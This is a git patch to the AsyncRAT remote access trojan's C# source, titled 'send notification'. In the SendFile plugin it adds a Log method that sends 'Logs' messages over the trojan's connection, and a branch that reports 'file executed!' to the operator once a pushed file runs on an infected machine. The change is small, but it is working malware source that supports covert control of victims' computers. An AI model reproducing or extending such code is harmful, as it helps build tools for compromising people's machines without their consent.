From c24ea61af74f5633302337551e06949eba5a93b2 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 1 Dec 2019 06:42:21 +0300 Subject: [PATCH] send notification --- .../Plugin/SendFile/SendFile/Handler/HandleSendTo.cs | 4 ++++ AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs | 8 ++++++++ 2 files changed, 12 insertions(+) diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs index d789b66..e8b5aa6 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs @@ -40,6 +40,10 @@ namespace Plugin.Handler { new HandleUninstall(); } + else + { + Packet.Log("file executed!"); + } } catch (Exception ex) { diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs index dd988bc..ea40662 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs @@ -55,6 +55,14 @@ namespace Plugin msgpack.ForcePathObject("Error").AsString = ex; Connection.Send(msgpack.Encode2Bytes()); } + + public static void Log(string message) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Logs"; + msgpack.ForcePathObject("Message").AsString = message; + Connection.Send(msgpack.Encode2Bytes()); + } } } \ No newline at end of file